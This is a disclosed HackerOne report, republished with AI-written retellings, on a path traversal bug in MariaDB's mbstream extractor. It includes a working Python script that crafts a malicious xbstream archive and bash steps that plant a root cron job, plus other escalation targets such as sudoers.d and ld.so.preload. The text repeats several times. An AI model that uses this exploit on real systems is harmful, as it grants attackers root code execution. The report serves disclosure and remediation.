Skip to content
Path traversal Disclosed report Intermediate CVE-2018-1002200CVE-2018-1002201

Path Traversal in mbstream Extract

The xbstream extraction code in mbstream only blocked absolute paths, so a chunk path containing '..' segments could create new files outside the chosen restore directory. When extraction ran as root, an attacker-supplied archive could plant a cron drop-in and gain root command execution.

riscj Follow

Originally disclosed on HackerOne

High 7.8 View original
  • Triaged in 6 days
  • Fixed in 32 days
  • Disclosed after 6 months

Summary

The xbstream extraction code in mbstream (the first-party extraction utility shipped in the mariadb-backup package) does not reject .. path components in archive chunk paths. The current safeguard, MY_RELATIVE_PATH passed to fn_format(), prevents absolute paths but does not prevent directory traversal via relative paths such as ../../etc/cron.d/evil. As a result, a malicious .xbstream archive can cause extraction to create files outside the chosen target directory, at attacker-controlled paths permitted by the extracting user's privileges.

This is an archive-extraction path traversal vulnerability (CWE-22, Zip Slip class). The file-creation primitive permits out-of-target file creation whenever an archive with a ..-prefixed chunk path reaches mbstream -x and the kernel-resolved parent of the traversal target exists with appropriate permissions. In common configurations (restores running as root with cron installed), this primitive escalates to root command execution through standard writable drop-in locations such as /etc/cron.d/. An end-to-end exploit was verified on MariaDB 12.2.2 on Debian 12: delivering a single malicious .xbstream file caused root command execution via cron within ~60 seconds of extraction.

Exploit prerequisites

To reach RCE the following must hold:

  • Attacker must be able to supply or influence the contents of an .xbstream archive that the victim later extracts (delivery channels include backup buckets, replication seeding, DR pipelines, Kubernetes operator backup volumes, scheduled restore verification jobs, etc.).
  • Victim must run mbstream -x on the attacker-influenced archive.
  • The privilege level of the extracting user determines the impact. Restore pipelines commonly run as root (escalation to root code execution via writable drop-in directories like /etc/cron.d/); pipelines running as the mysql user are still subject to the underlying file-creation primitive.

The vulnerability permits out-of-target file creation once an attacker-supplied archive reaches the extractor; whether that primitive escalates to command execution depends on the privileges of the extracting user and on which writable execution paths are available on the target.

Environment

  • Confirmed on: MariaDB 12.2.2-MariaDB-deb12, package mariadb-backup_1:12.2.2+maria~deb12_amd64.deb from the official MariaDB repository, Debian 12 (Bookworm) x86_64.
  • Suspected affected (not independently verified): other maintained MariaDB branches containing the same ds_local.cc / mf_format.c / xbstream.cc logic. The vulnerable code has been in extra/mariabackup/ds_local.cc:local_open() and mysys/mf_format.c since these features were introduced and appears unchanged across branches based on code inspection.
  • Plugins/Configuration: None required. mariadb-backup is the packaged physical-backup tool that ships alongside MariaDB. The path-traversal vulnerability itself is broadly Linux-applicable; the cron-based RCE escalation is one practical exploitation route on systems with cron installed and mariadb-backup running as root

Affected Code

extra/mariabackup/ds_local.cc, lines 89-118: the local_open() function used to create files during xbstream extraction:

C
static ds_file_t *
local_open(ds_ctxt_t *ctxt, const char *path, MY_STAT *mystat)
{
    char fullpath[FN_REFLEN];
    char dirpath[FN_REFLEN];
    size_t dirpath_len;
    ...
    fn_format(fullpath, path, ctxt->root, "", MYF(MY_RELATIVE_PATH));    // (1)

    dirname_part(dirpath, fullpath, &dirpath_len);
    if (my_mkdir(dirpath, 0777, MYF(0)) < 0 && my_errno != EEXIST) {     // (2)
        ...
    }

    fd = my_create(fullpath, 0, O_WRONLY | O_BINARY | O_EXCL | O_NOFOLLOW,
                   MYF(MY_WME));                                          // (3)
    ...
}

(1) MY_RELATIVE_PATH is intended to constrain path underneath ctxt->root. The implementation in mysys/mf_format.c:46-52 only checks whether path is "hard" (absolute):

C
else if ((flag & MY_RELATIVE_PATH) && !test_if_hard_path(dev))
{
    /* Put 'dir' before the given path */
    pos = convert_dirname(dev, dir, NullS);
    strmake(pos, buff, ...);
}

test_if_hard_path() (mysys/my_getwd.c:132) classifies as "hard" only paths starting with / or ~/. A path like ../../etc/cron.d/evil is therefore considered "relative" and is simply prepended with the target directory:

  • target dir: /tmp/restore
  • chunk path: ../../etc/cron.d/evil
  • fullpath: /tmp/restore/../../etc/cron.d/evil
  • after kernel resolves ..: /etc/cron.d/evil

(2) No userspace normalization of .. occurs anywhere in this code path. dirname_part() strips the trailing component to derive dirpath but leaves any .. segments in place; my_mkdir() and (later) my_create() then pass the un-normalized string straight to the kernel, which resolves .. at the syscall boundary. So dirpath literally is /tmp/restore/../../etc/cron.d/, and the kernel resolves it to /etc/cron.d/ when mkdir(2) runs. EEXIST is silently tolerated (line 106), so the call succeeds for any traversal target whose resolved parent directory already exists, which covers all the realistic exploitation targets (/etc/cron.d, /etc/profile.d, /etc/sudoers.d, etc.).

(3) my_create() opens the file with O_EXCL | O_NOFOLLOW. This means existing files cannot be overwritten and symlinks are not followed, but new files can be created at the traversed location, which is sufficient for the attack.

The xbstream chunk path is read directly from the archive header in extra/mariabackup/xbstream_read.cc:144-160 and passed to local_open() at extra/mariabackup/xbstream.cc:334 (file = ds_open(ctxt->ds_ctxt, path, NULL);) without any sanitization beyond a length cap of FN_REFLEN.

Reproduction

The PoC generates a minimal valid xbstream archive containing one payload chunk and one EOF chunk, both carrying a ../-prefixed path. The cron.d variant below demonstrates end-to-end root code execution from a single delivered archive.

Helper script

Save as craft_evil_xbstream.py:

Python
#!/usr/bin/env python3
"""Craft a minimal xbstream containing one payload chunk and one EOF chunk.
Usage:  craft_evil_xbstream.py <CHUNK_PATH> <PAYLOAD_BYTES> <OUTFILE>
"""
import struct, zlib, sys

CHUNK_MAGIC = b'XBSTCK01'
TYPE_PAYLOAD = b'P'
TYPE_EOF = b'E'

def make_payload_chunk(path: bytes, payload: bytes) -> bytes:
    out  = CHUNK_MAGIC
    out += b'\x00'                          # flags = 0
    out += TYPE_PAYLOAD                     # type = 'P'
    out += struct.pack('<I', len(path))     # path length (LE)
    out += path
    out += struct.pack('<Q', len(payload))  # payload length (8 bytes LE)
    out += struct.pack('<Q', 0)             # offset in source file
    out += struct.pack('<I', zlib.crc32(payload) & 0xFFFFFFFF)
    out += payload
    return out

def make_eof_chunk(path: bytes = b'eof') -> bytes:
    out  = CHUNK_MAGIC + b'\x00' + TYPE_EOF
    out += struct.pack('<I', len(path)) + path
    return out

with open(sys.argv[3], 'wb') as f:
    f.write(make_payload_chunk(sys.argv[1].encode(), sys.argv[2].encode()))
    f.write(make_eof_chunk(sys.argv[1].encode()))
print('wrote', sys.argv[3])

End-to-end root RCE via /etc/cron.d

The chunk path traverses to /etc/cron.d/evil; the payload is a valid cron entry that runs a command as root every minute.

Bash
python3 craft_evil_xbstream.py \
    '../../etc/cron.d/evil' \
    '* * * * * root touch /tmp/CRON_PROOF
' \
    /tmp/evil.xbstream

rm -f /tmp/CRON_PROOF /etc/cron.d/evil
mkdir -p /tmp/restore_target

mbstream -x -C /tmp/restore_target < /tmp/evil.xbstream

ls -la /etc/cron.d/evil
cat /etc/cron.d/evil

for i in $(seq 1 70); do
    if [ -f /tmp/CRON_PROOF ]; then
        echo "[+] CRON FIRED after ${i}s"
        ls -la /tmp/CRON_PROOF
        break
    fi
    sleep 1
done

Verbatim output on test VM:

wrote /tmp/evil.xbstream
-rw-r----- 1 root root 37 Apr 16 10:09 /etc/cron.d/evil
* * * * * root touch /tmp/CRON_PROOF
[+] CRON FIRED after 40s
-rw-r--r-- 1 root root 0 Apr 16 10:10 /tmp/CRON_PROOF

End-to-end RCE confirmed: a single delivered .xbstream archive yielded root code execution within 60 seconds of extraction (40s in this run, depending on when extraction completes relative to cron's next minute boundary). No prior shell access on the target host is required; the attacker only needs a path to supply a malicious archive into a restore workflow. The chain is:

  1. mbstream -x extracts the archive, traversing out of the target directory.
  2. /etc/cron.d/evil is created with the attacker's cron entry.
  3. crond re-reads /etc/cron.d/ and schedules the new job.
  4. On the next minute boundary, the job runs as root, executing touch /tmp/CRON_PROOF (or any attacker-chosen command).

Suggested Fix

Anchor extraction to a fixed dirfd opened on ctxt->root and reach every extracted file via openat()/mkdirat() with explicit per-component validation. This eliminates the entire class of path-resolution race conditions in addition to fixing the immediate bug. The algorithm:

  1. Once, when the local datasink is created, open ctxt->root with O_RDONLY | O_DIRECTORY | O_CLOEXEC and store the fd as ctxt->rootfd.
  2. For each chunk received from the xbstream parser, replace the fn_format -> my_mkdir -> my_create chain in local_open() with a path walker that:
    • Splits the chunk path on /.
    • For each path component, refuses if the component is empty, ., .., or contains characters disallowed for filenames (NUL, etc.). Refusing .. here is the primary fix.
    • For each non-final component, calls mkdirat(current_dirfd, component, 0755) (tolerating EEXIST) and openat(current_dirfd, component, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC), then advances current_dirfd to the new fd and closes the previous one.
    • For the final component, calls openat(current_dirfd, component, O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, mode) to create the leaf file.
  3. The walk starts with current_dirfd = dup(ctxt->rootfd) so each chunk extraction begins from the trusted anchor and never resolves .. against the host filesystem.

Essential properties:

  • openat() against a fixed rootfd, never against attacker-controlled absolute paths.
  • One component at a time; .. and absolute segments are rejected lexically before any syscall sees them.
  • O_NOFOLLOW on every intermediate openat() defeats symlink-swap races where an attacker creates a symlink between the safety check and the eventual open().
  • O_DIRECTORY on each intermediate ensures the descent fails fast if a non-directory was substituted.

As a minimum stopgap if the above refactor is too invasive, a string-level filter applied to path before ds_open() prevents the obvious traversal. This is shallow, as string filters on filesystem paths have a long history of bypass tricks, but it does close the immediate vulnerability:

C
static bool path_is_safe(const char *path) {
    /* No absolute or home paths */
    if (path[0] == '/' || path[0] == '~')
        return false;
    /* No "..", "../", "/..", or any embedded "/../" */
    if (!strcmp(path, "..") || !strncmp(path, "../", 3))
        return false;
    if (strstr(path, "/../") != NULL)
        return false;
    size_t n = strlen(path);
    if (n >= 3 && !strcmp(path + n - 3, "/.."))
        return false;
    return true;
}

/* In file_entry_new() before ds_open(): */
if (!path_is_safe(path)) {
    msg("xbstream: refusing unsafe path '%s'", path);
    return NULL;
}

The realpath()-on-parent approach is a middle ground: canonicalize the parent directory of the constructed fullpath (realpath() on the leaf fails because the leaf does not yet exist) and verify the canonicalized parent is still under ctxt->root. This still has TOCTOU exposure between the check and the subsequent open(), which the openat()-with-dirfd pattern avoids.

Impact

Arbitrary new-file creation as the user running mbstream -x, anywhere on the filesystem the extracting user is permitted to create files and the kernel-resolved parent directory already exists. When extraction runs as root (the common case for restore operations), the primitive can be escalated to root command execution by writing a new file into a privileged drop-in directory:

Drop-in target Mechanism Time to command execution
/etc/cron.d/evil crond watches the directory and picks up new files; runs at next minute boundary ~60 seconds
/etc/sudoers.d/evil sudo evaluates new drop-ins on next invocation; attacker ALL=(ALL) NOPASSWD: ALL grants any user full sudo next sudo call
/etc/profile.d/evil.sh shell sources files in this directory on next interactive login next login
/etc/ld.so.preload loader honours this file on every subsequent exec() (only viable when the file does not already exist, since O_EXCL blocks overwrite) next process spawn
~/.ssh/authorized_keys sshd grants login if .ssh/ exists but authorized_keys does not immediately

The cron.d path was verified end-to-end on the test VM (Debian 12, MariaDB 12.2.2 from the official package): a single attacker-supplied .xbstream file, processed by mbstream -x under root, yielded execution of touch /tmp/CRON_PROOF as root 40 seconds later.

The attack requires no MariaDB credentials. It requires only that the attacker influence the contents of one .xbstream file that the victim later extracts. Realistic delivery channels include:

  1. Backup-restore pipelines that pull .xbstream files from S3, NFS, HTTP, or SFTP and extract on the local host. Anyone with write access to the source store can craft a malicious archive. Backup buckets are frequently lower-trust than the database itself (separate IAM, separate retention policy).
  2. Replication seeding / DR site provisioning, where a new replica receives a stream from a "donor" host. A compromised donor could deliver a malicious stream.
  3. Cross-environment promotion: an attacker on a lower-trust environment (dev, staging) plants a malicious .xbstream in a shared backup spool that the higher-trust environment (prod) consumes during its weekly restore drill.
  4. Kubernetes operators: the mariadb-operator project runs mbstream -x -C <dir> < <file> during restore (pkg/command/backup.go:316,470), as root inside the operator pod. An attacker with write access to the backup PVC, S3 bucket, or other backing store can plant a malicious archive that triggers the bug on every restore the operator performs. In this configuration the user-interaction requirement effectively disappears (the operator extracts automatically), raising CVSS to ~8.8.
  5. Backup verification automation (cron jobs, CI, monitoring) that periodically restores backups to a sandbox host to verify integrity. The sandbox host runs mbstream -x on archives whose source the verification job inherently treats as untrusted.

Even without cron, the underlying out-of-target file-creation primitive still permits unauthorized file creation, which can corrupt system state, poison application configuration, plant files for later execution by other code paths, or cause denial of service.

This is the same vulnerability class as Zip Slip (Snyk, 2018), which received CVE assignments and fixes across the ecosystem (CVE-2018-1002200, CVE-2018-1002201, and dozens of language-specific archive-library CVEs) at CVSS scores in the 7-9 range.

The original report as published on HackerOne, by riscj. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

Context

mbstream is the first-party extraction utility shipped in the mariadb-backup package. It reads .xbstream archives, the container format MariaDB uses for physical backups, and writes the chunks back out to disk. The extraction path runs through local_open() in extra/mariabackup/ds_local.cc, which builds a destination path with fn_format(), creates the parent directory with my_mkdir(), and then creates the file with my_create().

The report is about that extraction code failing to reject .. path components in archive chunk paths. The safeguard in place, MY_RELATIVE_PATH passed to fn_format(), stops absolute paths but not directory traversal through relative paths such as ../../etc/cron.d/evil. A malicious .xbstream archive can therefore cause extraction to create files outside the chosen target directory, at attacker-controlled paths permitted by the extracting user's privileges.

This is an archive-extraction path traversal (CWE-22, the Zip Slip class). The file-creation primitive allows out-of-target file creation whenever an archive with a ..-prefixed chunk path reaches mbstream -x and the kernel-resolved parent of the traversal target exists with appropriate permissions. In common configurations, restores running as root with cron installed, the primitive escalates to root command execution through standard writable drop-in locations such as /etc/cron.d/. An end-to-end exploit was verified on MariaDB 12.2.2 on Debian 12: delivering a single malicious .xbstream file caused root command execution via cron within about 60 seconds of extraction.

Setup

The work was confirmed on MariaDB 12.2.2-MariaDB-deb12, package mariadb-backup_1:12.2.2+maria~deb12_amd64.deb from the official MariaDB repository, on Debian 12 (Bookworm) x86_64. No plugins or special configuration are required; mariadb-backup is the packaged physical-backup tool that ships alongside MariaDB.

The report suspects, without independent verification, that other maintained MariaDB branches containing the same ds_local.cc / mf_format.c / xbstream.cc logic are affected. The vulnerable code has been in extra/mariabackup/ds_local.cc:local_open() and mysys/mf_format.c since these features were introduced and appears unchanged across branches based on code inspection.

The path-traversal vulnerability itself is broadly Linux-applicable. The cron-based RCE escalation is one practical exploitation route on systems with cron installed and mariadb-backup running as root.

To reach RCE, the following must hold:

  1. The attacker must be able to supply or influence the contents of an .xbstream archive that the victim later extracts. Delivery channels include backup buckets, replication seeding, DR pipelines, Kubernetes operator backup volumes and scheduled restore verification jobs.
  2. The victim must run mbstream -x on the attacker-influenced archive.
  3. The privilege level of the extracting user determines the impact. Restore pipelines commonly run as root, which gives escalation to root code execution via writable drop-in directories like /etc/cron.d/. Pipelines running as the mysql user are still subject to the underlying file-creation primitive.

The vulnerability permits out-of-target file creation once an attacker-supplied archive reaches the extractor. Whether that primitive escalates to command execution depends on the privileges of the extracting user and on which writable execution paths are available on the target.

Finding it

The starting point is the local_open() function used to create files during xbstream extraction, at extra/mariabackup/ds_local.cc, lines 89-118:

C
static ds_file_t *
local_open(ds_ctxt_t *ctxt, const char *path, MY_STAT *mystat)
{
    char fullpath[FN_REFLEN];
    char dirpath[FN_REFLEN];
    size_t dirpath_len;
    ...
    fn_format(fullpath, path, ctxt->root, "", MYF(MY_RELATIVE_PATH));    // (1)

    dirname_part(dirpath, fullpath, &dirpath_len);
    if (my_mkdir(dirpath, 0777, MYF(0)) < 0 && my_errno != EEXIST) {     // (2)
        ...
    }

    fd = my_create(fullpath, 0, O_WRONLY | O_BINARY | O_EXCL | O_NOFOLLOW,
                   MYF(MY_WME));                                          // (3)
    ...
}

Three things in this function matter.

First, MY_RELATIVE_PATH is intended to constrain path underneath ctxt->root. The implementation in mysys/mf_format.c:46-52 only checks whether path is "hard", meaning absolute:

C
else if ((flag & MY_RELATIVE_PATH) && !test_if_hard_path(dev))
{
    /* Put 'dir' before the given path */
    pos = convert_dirname(dev, dir, NullS);
    strmake(pos, buff, ...);
}

test_if_hard_path() (mysys/my_getwd.c:132) classifies as "hard" only paths starting with / or ~/. A path like ../../etc/cron.d/evil is therefore considered "relative" and is simply prepended with the target directory:

  • target dir: /tmp/restore
  • chunk path: ../../etc/cron.d/evil
  • fullpath: /tmp/restore/../../etc/cron.d/evil
  • after kernel resolves ..: /etc/cron.d/evil

Second, no userspace normalization of .. occurs anywhere in this code path. dirname_part() strips the trailing component to derive dirpath but leaves any .. segments in place. my_mkdir() and later my_create() pass the un-normalised string straight to the kernel, which resolves .. at the syscall boundary. So dirpath literally is /tmp/restore/../../etc/cron.d/, and the kernel resolves it to /etc/cron.d/ when mkdir(2) runs. EEXIST is silently tolerated (line 106), so the call succeeds for any traversal target whose resolved parent directory already exists, which covers all the realistic exploitation targets (/etc/cron.d, /etc/profile.d, /etc/sudoers.d, and so on).

Third, my_create() opens the file with O_EXCL | O_NOFOLLOW. Existing files cannot be overwritten and symlinks are not followed, but new files can be created at the traversed location, which is sufficient for the attack.

The xbstream chunk path is read directly from the archive header in extra/mariabackup/xbstream_read.cc:144-160 and passed to local_open() at extra/mariabackup/xbstream.cc:334 (file = ds_open(ctxt->ds_ctxt, path, NULL);) without any sanitisation beyond a length cap of FN_REFLEN.

Exploitation

The proof of concept generates a minimal valid xbstream archive containing one payload chunk and one EOF chunk, both carrying a ../-prefixed path. The cron.d variant demonstrates end-to-end root code execution from a single delivered archive.

Step 1: craft the malicious archive

Save the helper script as craft_evil_xbstream.py:

Python
#!/usr/bin/env python3
"""Craft a minimal xbstream containing one payload chunk and one EOF chunk.
Usage:  craft_evil_xbstream.py <CHUNK_PATH> <PAYLOAD_BYTES> <OUTFILE>
"""
import struct, zlib, sys

CHUNK_MAGIC = b'XBSTCK01'
TYPE_PAYLOAD = b'P'
TYPE_EOF = b'E'

def make_payload_chunk(path: bytes, payload: bytes) -> bytes:
    out  = CHUNK_MAGIC
    out += b'\x00'                          # flags = 0
    out += TYPE_PAYLOAD                     # type = 'P'
    out += struct.pack('<I', len(path))     # path length (LE)
    out += path
    out += struct.pack('<Q', len(payload))  # payload length (8 bytes LE)
    out += struct.pack('<Q', 0)             # offset in source file
    out += struct.pack('<I', zlib.crc32(payload) & 0xFFFFFFFF)
    out += payload
    return out

def make_eof_chunk(path: bytes = b'eof') -> bytes:
    out  = CHUNK_MAGIC + b'\x00' + TYPE_EOF
    out += struct.pack('<I', len(path)) + path
    return out

with open(sys.argv[3], 'wb') as f:
    f.write(make_payload_chunk(sys.argv[1].encode(), sys.argv[2].encode()))
    f.write(make_eof_chunk(sys.argv[1].encode()))
print('wrote', sys.argv[3])

Nothing in the format prevents the path from containing ...

Step 2: build the archive and extract it

The chunk path traverses to /etc/cron.d/evil; the payload is a valid cron entry that runs a command as root every minute.

Bash
python3 craft_evil_xbstream.py \
    '../../etc/cron.d/evil' \
    '* * * * * root touch /tmp/CRON_PROOF
' \
    /tmp/evil.xbstream

rm -f /tmp/CRON_PROOF /etc/cron.d/evil
mkdir -p /tmp/restore_target

mbstream -x -C /tmp/restore_target < /tmp/evil.xbstream

ls -la /etc/cron.d/evil
cat /etc/cron.d/evil

for i in $(seq 1 70); do
    if [ -f /tmp/CRON_PROOF ]; then
        echo "[+] CRON FIRED after ${i}s"
        ls -la /tmp/CRON_PROOF
        break
    fi
    sleep 1
done

Verbatim output on the test VM:

Text
wrote /tmp/evil.xbstream
-rw-r----- 1 root root 37 Apr 16 10:09 /etc/cron.d/evil
* * * * * root touch /tmp/CRON_PROOF
[+] CRON FIRED after 40s
-rw-r--r-- 1 root root 0 Apr 16 10:10 /tmp/CRON_PROOF

End-to-end RCE is confirmed: a single delivered .xbstream archive yielded root code execution within 60 seconds of extraction (40s in this run, depending on when extraction completes relative to cron's next minute boundary). No prior shell access on the target host is required; the attacker only needs a path to supply a malicious archive into a restore workflow.

The chain is:

  1. mbstream -x extracts the archive, traversing out of the target directory.
  2. /etc/cron.d/evil is created with the attacker's cron entry.
  3. crond re-reads /etc/cron.d/ and schedules the new job.
  4. On the next minute boundary, the job runs as root, executing touch /tmp/CRON_PROOF (or any attacker-chosen command).

Root cause

The safeguard in place, MY_RELATIVE_PATH, only checks for absolute paths. MY_RELATIVE_PATH in fn_format() delegates to test_if_hard_path(), which treats anything not starting with / or ~/ as relative and safe to prepend. A path containing .. segments passes that test, and no later stage normalizes or rejects it: dirname_part() keeps the .. segments, and my_mkdir() and my_create() hand the string to the kernel, which resolves .. at the syscall boundary. The EEXIST tolerance on mkdir means the traversal succeeds whenever the resolved parent already exists, which is the case for every realistic drop-in directory.

O_EXCL | O_NOFOLLOW limits the primitive to creating new files and blocks symlink following, but that is not enough: creating a new file in /etc/cron.d/, /etc/sudoers.d/ or /etc/profile.d/ is exactly what the attack needs.

Impact

The primitive is arbitrary new-file creation as the user running mbstream -x, anywhere on the filesystem that user is permitted to create files and where the kernel-resolved parent directory already exists. When extraction runs as root, the common case for restore operations, the primitive can be escalated to root command execution by writing a new file into a privileged drop-in directory:

Drop-in target Mechanism Time to command execution
/etc/cron.d/evil crond watches the directory and picks up new files; runs at next minute boundary ~60 seconds
/etc/sudoers.d/evil sudo evaluates new drop-ins on next invocation; attacker ALL=(ALL) NOPASSWD: ALL grants any user full sudo next sudo call
/etc/profile.d/evil.sh shell sources files in this directory on next interactive login next login
/etc/ld.so.preload loader honours this file on every subsequent exec() (only viable when the file does not already exist, since O_EXCL blocks overwrite) next process spawn
~/.ssh/authorized_keys sshd grants login if .ssh/ exists but authorized_keys does not immediately

The cron.d path was verified end-to-end on the test VM (Debian 12, MariaDB 12.2.2 from the official package): a single attacker-supplied .xbstream file, processed by mbstream -x under root, yielded execution of touch /tmp/CRON_PROOF as root 40 seconds later.

The attack requires no MariaDB credentials. It requires only that the attacker influence the contents of one .xbstream file that the victim later extracts. Realistic delivery channels include:

  1. Backup-restore pipelines that pull .xbstream files from S3, NFS, HTTP or SFTP and extract on the local host. Anyone with write access to the source store can craft a malicious archive. Backup buckets are frequently lower-trust than the database itself (separate IAM, separate retention policy).
  2. Replication seeding or DR site provisioning, where a new replica receives a stream from a donor host. A compromised donor could deliver a malicious stream.
  3. Cross-environment promotion: an attacker on a lower-trust environment (dev, staging) plants a malicious .xbstream in a shared backup spool that the higher-trust environment (prod) consumes during its weekly restore drill.
  4. Kubernetes operators: the mariadb-operator project runs mbstream -x -C <dir> < <file> during restore (pkg/command/backup.go:316,470), as root inside the operator pod. An attacker with write access to the backup PVC, S3 bucket or other backing store can plant a malicious archive that triggers the bug on every restore the operator performs. In this configuration the user-interaction requirement effectively disappears because the operator extracts automatically, raising CVSS to about 8.8.
  5. Backup verification automation (cron jobs, CI, monitoring) that periodically restores backups to a sandbox host to verify integrity. The sandbox host runs mbstream -x on archives whose source the verification job inherently treats as untrusted.

Even without cron, the underlying out-of-target file-creation primitive still permits unauthorized file creation, which can corrupt system state, poison application configuration, plant files for later execution by other code paths, or cause denial of service.

This is the same vulnerability class as Zip Slip (Snyk, 2018), which received CVE assignments and fixes across the ecosystem (CVE-2018-1002200, CVE-2018-1002201, and dozens of language-specific archive-library CVEs) at CVSS scores in the 7-9 range.

Fix

The suggested fix anchors extraction to a fixed dirfd opened on ctxt->root and reaches every extracted file via openat()/mkdirat() with explicit per-component validation. This eliminates the entire class of path-resolution race conditions in addition to fixing the immediate bug. The algorithm:

  1. Once, when the local datasink is created, open ctxt->root with O_RDONLY | O_DIRECTORY | O_CLOEXEC and store the fd as ctxt->rootfd.
  2. For each chunk received from the xbstream parser, replace the fn_format -> my_mkdir -> my_create chain in local_open() with a path walker that:
    • splits the chunk path on /;
    • for each path component, refuses if the component is empty, ., .., or contains characters disallowed for filenames (NUL, etc.); refusing .. here is the primary fix;
    • for each non-final component, calls mkdirat(current_dirfd, component, 0755) (tolerating EEXIST) and openat(current_dirfd, component, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC), then advances current_dirfd to the new fd and closes the previous one;
    • for the final component, calls openat(current_dirfd, component, O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, mode) to create the leaf file.
  3. The walk starts with current_dirfd = dup(ctxt->rootfd) so each chunk extraction begins from the trusted anchor and never resolves .. against the host filesystem.

The essential properties are: openat() against a fixed rootfd, never against attacker-controlled absolute paths; one component at a time, with .. and absolute segments rejected lexically before any syscall sees them; O_NOFOLLOW on every intermediate openat() to defeat symlink-swap races where an attacker creates a symlink between the safety check and the eventual open(); and O_DIRECTORY on each intermediate so the descent fails fast if a non-directory was substituted.

As a minimum stopgap if the refactor is too invasive, a string-level filter applied to path before ds_open() prevents the obvious traversal. This is shallow, as string filters on filesystem paths have a long history of bypass tricks, but it does close the immediate vulnerability:

C
static bool path_is_safe(const char *path) {
    /* No absolute or home paths */
    if (path[0] == '/' || path[0] == '~')
        return false;
    /* No "..", "../", "/..", or any embedded "/../" */
    if (!strcmp(path, "..") || !strncmp(path, "../", 3))
        return false;
    if (strstr(path, "/../") != NULL)
        return false;
    size_t n = strlen(path);
    if (n >= 3 && !strcmp(path + n - 3, "/.."))
        return false;
    return true;
}

/* In file_entry_new() before ds_open(): */
if (!path_is_safe(path)) {
    msg("xbstream: refusing unsafe path '%s'", path);
    return NULL;
}

The realpath()-on-parent approach is a middle ground: canonicalize the parent directory of the constructed fullpath (realpath() on the leaf fails because the leaf does not yet exist) and verify the canonicalized parent is still under ctxt->root. This still has TOCTOU exposure between the check and the subsequent open(), which the openat()-with-dirfd pattern avoids.

  1. Other drop-in directories. Point the chunk path at /etc/sudoers.d/evil, /etc/profile.d/evil.sh or /etc/ld.so.preload instead of /etc/cron.d/evil. A positive result is the file appearing at the resolved path after extraction, with the expected content, and the corresponding mechanism (sudo, login shell, loader) acting on it.
  2. Non-root extraction. Run mbstream -x as the mysql user and target a directory that user can write to. A positive result is a file created outside the -C target, which confirms the primitive is independent of privilege even when escalation is not available.
  3. Deeper traversal. Use more .. segments than the target depth, for example ../../../../tmp/pwned from a shallow target. A positive result is the file landing at the resolved absolute path, showing the number of segments is not validated.
  4. Embedded traversal. Try paths such as a/../../etc/cron.d/evil or ./../etc/cron.d/evil where .. is not the leading component. A positive result is the same out-of-target creation, which tests whether any filter only checks the prefix.
  5. Existing-file targets. Attempt to write to a path that already exists, such as an existing /etc/cron.d/ entry. A negative result (creation refused) confirms the O_EXCL limit described in the report; a positive result would mean overwrite is possible and the impact is wider.
  6. Operator-driven restore. In a Kubernetes environment using mariadb-operator, plant a malicious archive in the backup store and trigger a restore. A positive result is the traversal file appearing inside the operator pod, which confirms the automatic extraction path removes the user-interaction requirement.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

What happened, in plain words

MariaDB is a popular database program. Like any program that holds important data, it needs backups, and MariaDB ships its own backup tool. Part of that tool is a small program called mbstream, which takes a backup file and unpacks it back onto disk. Think of it like unzipping a zip file: the archive contains many pieces, and the extractor writes each piece out to a folder you choose.

The problem is that mbstream trusts the file names written inside the archive. If an archive says a piece should be saved as ../../etc/cron.d/evil, the extractor happily builds that path and creates the file there, outside the folder you asked for. An attacker who can get a malicious backup file into a restore process can therefore create files anywhere the restore user is allowed to write. When restores run as root (the all-powerful administrator account on Linux), the attacker can drop a file into a system folder that makes the machine run their command automatically. The researcher confirmed this end to end: one crafted backup file led to a command running as root within about 60 seconds of extraction.

This kind of bug has a name: path traversal, also called Zip Slip when it appears in archive extractors. The idea is always the same: a program is supposed to stay inside one folder, but a crafted name with .. in it makes the program step upwards and write somewhere else.

Some background you need first

Before the details, a few everyday ideas:

  • A server is a computer that runs a service other computers connect to. A database server stores and answers questions about data.
  • A backup is a copy of that data saved somewhere else, so it can be restored if the original is lost or damaged.
  • An archive is a single file that bundles many files together. A .zip file is the familiar example. MariaDB uses its own archive format called .xbstream.
  • Extraction (or unpacking) is the act of reading an archive and writing its contents back out as normal files. The program doing it is called an extractor.
  • A path is the address of a file on disk, like /home/alice/notes.txt. The slashes separate folders. Two dots, .., is a special path piece meaning "the folder above this one". So ../ means "go up one level".
  • root is the built-in superuser on Linux. It can read, write and run anything. Many automated restore jobs run as root because they need to put database files back in protected places.
  • A command is an instruction you type (or a program runs) to make the computer do something, like touch which creates an empty file.
  • cron is the Linux scheduler. It runs jobs at set times. It reads job definitions from files in /etc/cron.d/, and it notices new files placed there.
  • A vulnerability is a weakness in software that someone can abuse to make it behave in a way the author did not intend.
  • Remote code execution (RCE) means an attacker can make the victim's machine run code of the attacker's choosing, without already having an account on it.
  • CWE-22 is the catalogue number for path traversal in the Common Weakness Enumeration, a public list of bug types.
  • CVSS is a scoring system for how serious a vulnerability is.
  • A proof of concept (PoC) is a small demonstration that proves a bug is real, usually built by the researcher who found it.
  • A syscall is the moment a program asks the operating system kernel (the core of the system) to do something, such as create a file. The kernel is what actually interprets .. when it touches the disk.
  • A symlink is a shortcut file that points at another file. Following a symlink means acting on the file it points to.

The setup

The researcher confirmed the bug on MariaDB 12.2.2-MariaDB-deb12, using the package mariadb-backup_1:12.2.2+maria~deb12_amd64.deb from the official MariaDB repository, on Debian 12 (Bookworm) x86_64. Debian is a Linux distribution; x86_64 is the common 64-bit PC processor family. No plugins or special configuration are needed: mariadb-backup is the packaged physical-backup tool that ships alongside MariaDB.

The report suspects, without independent verification, that other maintained MariaDB branches containing the same ds_local.cc / mf_format.c / xbstream.cc logic are affected. The vulnerable code has been in extra/mariabackup/ds_local.cc:local_open() and mysys/mf_format.c since these features were introduced and appears unchanged across branches based on code inspection.

The path-traversal vulnerability itself is broadly Linux-applicable. The cron-based RCE escalation is one practical exploitation route on systems with cron installed and mariadb-backup running as root.

To reach RCE, three things must line up:

  1. The attacker must be able to supply or influence the contents of an .xbstream archive that the victim later extracts. Delivery channels include backup buckets, replication seeding, DR pipelines, Kubernetes operator backup volumes and scheduled restore verification jobs.
